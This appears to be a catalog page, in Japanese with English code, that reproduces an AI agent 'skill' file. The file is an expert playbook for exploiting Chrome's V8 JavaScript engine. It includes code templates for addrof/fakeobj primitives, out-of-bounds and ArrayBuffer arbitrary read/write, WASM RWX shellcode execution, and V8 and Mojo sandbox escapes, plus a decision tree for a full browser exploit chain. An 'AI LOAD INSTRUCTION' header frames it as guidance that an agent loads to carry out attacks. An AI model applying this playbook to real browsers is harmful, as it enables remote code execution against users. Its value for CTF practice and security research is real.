browser-exploitation-v8
JavaScriptエンジンの脆弱性を悪用するためのブラウザ・V8エクスプロイトプレイブック。JIT型混乱、不正な境界除去、V8サンドボックスバイパスを活用してChrome/ChromiumのレンダラーRCEおよびサンドボックスエスケープを実現する際に使用する。
description の原文を見る
>- Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.
SKILL.md 本文
SKILL: Browser / V8 Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
0. RELATED ROUTING
sandbox-escape-techniques— Chrome renderer sandbox escape via IPC/Mojoheap-exploitation— general heap concepts applicable to V8 heapstack-overflow-and-rop— ROP concepts for native code execution after V8 escapebinary-protection-bypass— ASLR/NX bypass in browser context
Advanced Reference
Load V8_EXPLOITATION_PATTERNS.md when you need:
- Detailed exploitation patterns and code templates
- Heap layout manipulation and GC interaction
- V8 sandbox bypass techniques
- Object map confusion patterns
1. V8 アーキテクチャ
コンパイルパイプライン
JavaScript Source
↓ Parser
AST (Abstract Syntax Tree)
↓ Ignition
Bytecode (interpreted, profiling)
↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
Baseline code (fast startup)
↓ Maglev (mid-tier, V8 ≥ 10.2)
Mid-optimized code
↓ TurboFan (optimizing JIT)
Optimized machine code (with speculative optimizations)
↓ Deoptimization (if speculation fails)
Back to Ignition bytecode
V8 の主要なコンセプト
| コンセプト | 説明 |
|---|---|
| Tagged pointers | SMI (Small Integer): value << 1, HeapObject: ptr | 1 |
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
| Elements kinds | Internal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc. |
| Write barrier | GC bookkeeping when heap pointers are written |
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |
オブジェクト表現 (64-bit、pointer compression)
HeapObject in V8 heap (compressed):
+0x00: Map pointer (compressed, 32-bit offset)
+0x04: Properties/Hash
+0x08: Elements pointer (compressed)
+0x0C: Length (for arrays)
+0x10: Inline properties or backing store data
2. 一般的な V8 バグクラス
| バグクラス | 説明 | 例 |
|---|---|---|
| JIT Type Confusion | TurboFan が最適化後に間違った型を仮定する | Speculative type guard が削除される、間違った操作が適用される |
| Incorrect Bounds Elimination | JIT が間違った範囲解析に基づいて配列境界チェックを削除 | CheckBounds ノードが削除 → OOB アクセス |
| Prototype Chain Confusion | 最適化が安定したプロトタイプを仮定し、変更が無効化される | 最適化後のプロトタイプ変更 → 間違ったプロパティアクセス |
| Turbofan Reduction Bug | 不正な強度削減または定数折りたたみ | 範囲解析での整数オーバーフロー |
| Race Condition | SharedArrayBuffer + ワーカースレッドレース | 並行修正による型の混乱 |
| Built-in のオフバイワン | 組み込み関数実装の境界エラー | String/Array 境界 |
| Typer Bug | TurboFan における不正な型範囲計算 | Typer が値は [0, N] 内だと言うが N+1 になりうる |
JIT 最適化のトリガー
function vuln(arr) {
// ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);
3. エクスプロイテーション プリミティブ
addrof — オブジェクトアドレスのリーク
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object
function addrof(obj) {
// Setup depends on specific bug
// Typically: trigger type confusion so array reads obj ref as float
object_array[0] = obj;
return ftoi(confused_float_array[0]); // float-to-int conversion
}
fakeobj — 偽造オブジェクト参照の作成
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
// read from confused object array → treated as object reference
function fakeobj(addr) {
confused_float_array[0] = itof(addr); // int-to-float conversion
return object_array[0]; // now a "pointer" to addr
}
addrof + fakeobj から任意の読み書きを構築
// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);
// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W
function read64(addr) {
// Set fake array's backing_store = addr
write_to_fake_backingstore(addr);
return fake_float64array[0];
}
function write64(addr, value) {
write_to_fake_backingstore(addr);
fake_float64array[0] = value;
}
4. 混乱した配列境界による OOB 読み書き
TurboFan が誤って境界チェックを削除する場合:
function trigger(arr, idx) {
// TurboFan thinks idx is always < arr.length
// But due to bug, idx can exceed bounds
return arr[idx]; // OOB read
}
// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length
V8 ヒープで隣接しているもの
オブジェクトは V8 の若い世代 (new space) に順序付けて割り当てられます。割り当て順を制御することで:
let arr1 = new Array(0x10); // spray object
let arr2 = new Float64Array(0x10); // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2
5. ARRAYBUFFER 任意読み書き
ArrayBuffer のバッキングストアは割り当てられたメモリへの生ポインタです。これを破損させると絶対メモリの読み書きが可能になります。
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr
V8 Sandbox (Pointer Compression) の影響
V8 ≥ 8.0 (pointer compression) および V8 sandbox (≥ 11.x) 以降:
ArrayBuffer.backing_storeは sandbox ポインタ (V8 ケージ内、4GB 領域)- V8 ケージ外を直接指示できない
- 完全なプロセスメモリアクセスを得るには sandbox エスケープが必要
6. WASM RWX ページ
WebAssembly JIT コードは一部のプラットフォームで RWX (読み取り-書き込み-実行可能) ページに配置されます。
// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page
// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode
最新の Chrome: W^X 強制により WASM ページは RW または RX のいずれか、同時に RWX ではありません。JIT コードは RW モードで書き込まれ、その後 RX に切り替わります。エクスプロイテーションには書き込みウィンドウを見つけるか JIT スプレーを使用する必要があります。
7. V8 SANDBOX
アーキテクチャ (V8 ≥ 11.x)
Process Virtual Address Space:
┌──────────────────────────────────────┐
│ V8 Sandbox Cage (4GB region) │
│ ├── V8 Heap (JS objects) │
│ ├── ArrayBuffer backing stores │
│ ├── WASM memory │
│ └── External pointer table │
├──────────────────────────────────────┤
│ Process memory outside cage │
│ ├── libc, Chrome code │
│ ├── Stack │
│ └── Other allocations │
└──────────────────────────────────────┘
Sandbox エスケープベクトル
| ベクトル | 方法 |
|---|---|
| External pointer table | 外部ポインタテーブルのエントリを破損させて任意アドレスを参照する |
| WASM code pointer | WASM 関数エントリを制御されたシェルコードにジャンプするよう上書き |
| JIT code corruption | レース条件または混乱したポインタ経由で JIT コードページに書き込む |
| Mojo IPC (Chrome) | 破損したレンダラーからブラウザプロセスを攻撃する Chrome IPC を悪用 |
| Backing store seal bypass | 型の混乱を見つけてサンドボックス化されていないポインタを取得 |
8. CHROME SANDBOX ESCAPE (概要)
レンダラー RCE (V8 エクスプロイト経由) 後も、プロセスはサンドボックス化されています。完全な侵害には以下が必要:
| ステージ | ターゲット | 例 |
|---|---|---|
| Renderer exploit | V8 / Blink DOM | 型の混乱 → シェルコード |
| IPC/Mojo bug | Chrome IPC レイヤー | Mojo インターフェースの use-after-free |
| Browser process exploit | 特権ブラウザプロセス | サンドボックス外での code execution |
Mojo インターフェース (Chrome の IPC) は攻撃面を公開します: Mojo メッセージハンドラの UAF または型の混乱を見つけます。
9. ツール
# V8 debugging
d8 --allow-natives-syntax exploit.js # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js # Dump TurboFan IR
d8 --print-opt-code exploit.js # Print optimized machine code
# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots
# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8
10. 決定木
V8 vulnerability identified
├── Bug type?
│ ├── JIT type confusion → trigger optimization, confuse array element kinds
│ ├── Bounds check elimination → OOB read/write on array
│ ├── Typer bug → incorrect range leads to OOB
│ └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│ ├── Can confuse object array ↔ float array?
│ │ └── addrof + fakeobj → arbitrary R/W within V8 heap
│ ├── OOB on array?
│ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│ └── Direct write primitive?
│ └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│ ├── YES (modern Chrome) →
│ │ ├── R/W limited to V8 cage (4GB)
│ │ ├── Need sandbox escape: external pointer table corruption,
│ │ │ WASM code pointer overwrite, or Mojo bug
│ │ └── Then proceed to shellcode execution
│ └── NO (older V8, CTF, d8) →
│ ├── Corrupt ArrayBuffer backing_store → absolute R/W
│ └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│ ├── WASM RWX page available? → write shellcode, call WASM func
│ ├── JIT code writable? → overwrite JIT code
│ └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
├── Stage 1: V8 bug → renderer RCE
├── Stage 2: Mojo IPC bug → browser process compromise
└── Stage 3: OS-level escalation (if needed)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。